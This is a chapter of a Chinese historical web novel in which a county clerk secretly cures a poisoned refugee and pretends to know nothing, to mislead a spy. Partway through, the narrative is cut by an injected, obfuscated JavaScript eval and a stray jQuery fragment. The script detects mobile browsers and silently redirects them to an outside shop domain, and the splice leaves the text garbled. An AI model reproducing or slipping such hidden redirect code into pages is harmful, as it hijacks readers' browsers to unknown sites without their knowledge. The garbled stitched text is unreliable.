小屋之内草药浊气交织萦绕,昏沉幽暗。
兖州来的男子卧于简陋木榻之上,面色灰白毫无血色,高热始终不退,呼吸微弱得仿佛下一刻便会彻底断绝生机。
两名值守差役满心惶恐局促不安,彼此对视之间皆是手足无措。寻常风寒尚且难以应对,这般莫名诡谲的重疾,他们根本无从下手。
“林小吏,此人病症来得太过诡异,城中医者已经匆匆请来,诊治之后只说是体虚染寒,开出的汤药毫无半点用处。”
差役说话声音压低,满心忌惮,心底都隐隐察觉此事并不简单。
乱世之中无端病重,十有八九皆是人为暗算。
林晚俯身凝望着榻上之人,神情淡然沉静,眼底深处却藏着清晰的冷意。
温朔行事滴水不漏,选用的慢性凉毒药性极为阴柔。发作缓慢隐匿,表象和风寒体虚别无二致,寻常医者根本无从分辨,只会误诊耽搁时机,悄无声息便可将人抹杀。
这般手段,心思何其阴毒。
一旁的沈策周身凛冽寒意沉沉不散,身形静立在侧,目光扫过门窗四周的细微痕迹。
“下毒之人必定趁夜色无声潜入,拿捏守卫换班的空隙,手法干净利落,没有留下半分多余痕迹。”
他常年行走暗处深谙刺杀与用毒之道,一眼便能看穿其中门道。
林晚微微颔首,指尖从袖中取出一枚色泽清浅的幽色药丸,药丸萦绕着极淡的草木清香。
这是她早早就备好的解毒秘药,专门针对乱世之中流传甚广的各类阴柔慢性毒。
早在将此人接入县衙那一刻,她便已然预料到会有灭口之举,提前早做防备。
凡事皆需提前筹谋,方能步步安稳。
“烧水取来。”
差役立刻应声快步前去准备。
林晚将药丸碾碎溶于清水之中,抬手小心翼翼扶起昏迷的男子,耐心将药液一点点送入他口中。动作从容平稳,没有半分慌乱。
药效入体流转极快,片刻之后榻上之人急促紊乱的呼吸便平缓下来,滚烫的体温也缓缓回落趋于正常。
原本飘摇欲坠的生机被稳稳稳住。
“暂且无碍了。”林晚轻声开口。
沈策眉眼舒展些许,随即又皱起眉头。
“我们就此将毒性压下,温朔必定知晓计划败露,只会更加急切动手。”
“他本就急切。”
林晚抬手擦拭指尖,眸光清淡冷静。
“他现如今依旧不敢明目张胆动手,一旦直接行凶便是摆明曹魏蓄意插手许县内政,会立刻引来各方猜忌。他要的从来都只是悄无声息的了结。”
正因如此,温朔才会执着于暗中算计与试探。
想要不沾因果,干净收尾。
林晚心思流转,很快便生出周全计策。
“不仅不能揭穿他,我们还要刻意装作全然不知情。依旧对外宣称此人只是体弱病重,平平无奇。”
唯有刻意装作平庸迟钝,才能彻底降低温朔心中的戒备。
让他认定自己仅仅只是心存悲悯的普通小吏,并无深沉城府与布局心机。
示弱,本就是乱世之中最好的自保。
就在二人低声商议计策之时,屋外忽然传来由远及近的脚步声,步履沉稳规整,来者身份已然清晰。
“是徐敬来了。”
沈策瞬间收敛周身所有锋芒,身形悄无声息退至屋后阴影之中隐匿起来,彻底消失不见。
林晚神色转瞬恢复成一贯温顺淡然的模样,仿佛从头到尾都只是安心照看病人的普通小吏。
房门被轻轻推开,徐敬大步走入,眉宇之间带着明显的忧心。
“听闻被安置之人骤然病重,情况危急,我便立刻赶过来看看。”
他目光落在木榻之上,见男子虽然依旧面色虚弱,但呼吸已然平稳许多,不由得稍稍松了一口气。
“好在情况已经稳住。”
林晚顺着话语轻声应答,神色温顺无害。
“本就是一路颠沛流离饥寒交迫,底子早已亏空,染病也属寻常,只是恢复起来要耗费不少时日。”
字字句句全部顺着表面说辞,刻意将一切归结于偶然。
徐敬毫无疑心,由衷感慨。
“乱世流民皆是命不由己,也多亏了你一直有心照拂。”
他从未想过看似温和安静的林晚会懂得辨毒解毒,在他眼中,林晚不过是心善细致,做事稳妥可靠。
这般刻板印象,恰好正中林晚下怀。
二人简单交谈片刻,徐敬再三叮嘱守卫多加用心照看,便转身离去处理公务。
待脚步声彻底走远,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572798|204962||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沈策再度从阴影之中现身。
“这般遮掩,温朔会不会真的被迷惑?”
“一定会。”
林晚眼底掠过一抹浅淡的了然。
“他所见的一切都只会是我故意让他看见的。平庸、心善、无争、无谋,仅此而已。他越是看轻我,我们就越是安全。”
真正的博弈从来都不在明面上的争斗。
就在此刻,远处街角一道修长身影立在昏沉月色之下,将后院动静尽数收入眼底。
温朔一身素色衣衫,神情冷淡漠然,眉眼清俊却覆满寒凉。
他方才暗中前来探查,本以为毒发之后此人必死无疑,却万万没想到对方竟然硬生生挺过毒性,状态逐渐平稳。
可全程看下来,林晚言行举止平淡无奇,没有半点异常,仅仅只是常规照看。
没有用药,没有辨毒,一切看起来都只是运气使然。
温朔指尖微微收紧,心底生出几分疑惑。
难道真的只是自己多虑?
那日城门开闸收留流民,仅仅只是女子一时心软,并非刻意布局?
他心底的判断第一次开始动摇。
既查不到破绽,也寻不到刻意谋划的痕迹。
“莫非真是巧合……”
他低声自语,眼底的戒备悄然松动几分,但依旧没有彻底放下疑心。
谨慎是身为细作刻入骨髓的本能。
纵然当下看似毫无问题,他依旧会继续紧盯不放。
天色逐渐破晓,晨雾薄薄笼罩整座许县。
县衙朝堂之上例行议事,张怀一如既往当众处处针对,刻意拿流民耗费粮草一事大肆发难。
“如今粮仓日渐消耗,皆是因为无用流民白白耗费资源,依我看应当立刻驱逐,不留半点累赘!”
一众吏员附和连连,皆是不愿承担多余负担。
徐敬疲于周旋,难以一人压住所有非议。
林晚安静立于末尾,垂眸低眉一言不发,看起来怯懦沉默,丝毫没有上前争辩的意思。
所有人都理所当然将她视作毫无威胁的透明之人。
无人知晓,眼下县衙之中所有人心动向、争端利弊、敌人试探算计,全部都被她清清楚楚收在眼底,一一排布入棋局之中。
明处风波喧嚣吵闹,暗处毒谋依旧蛰伏。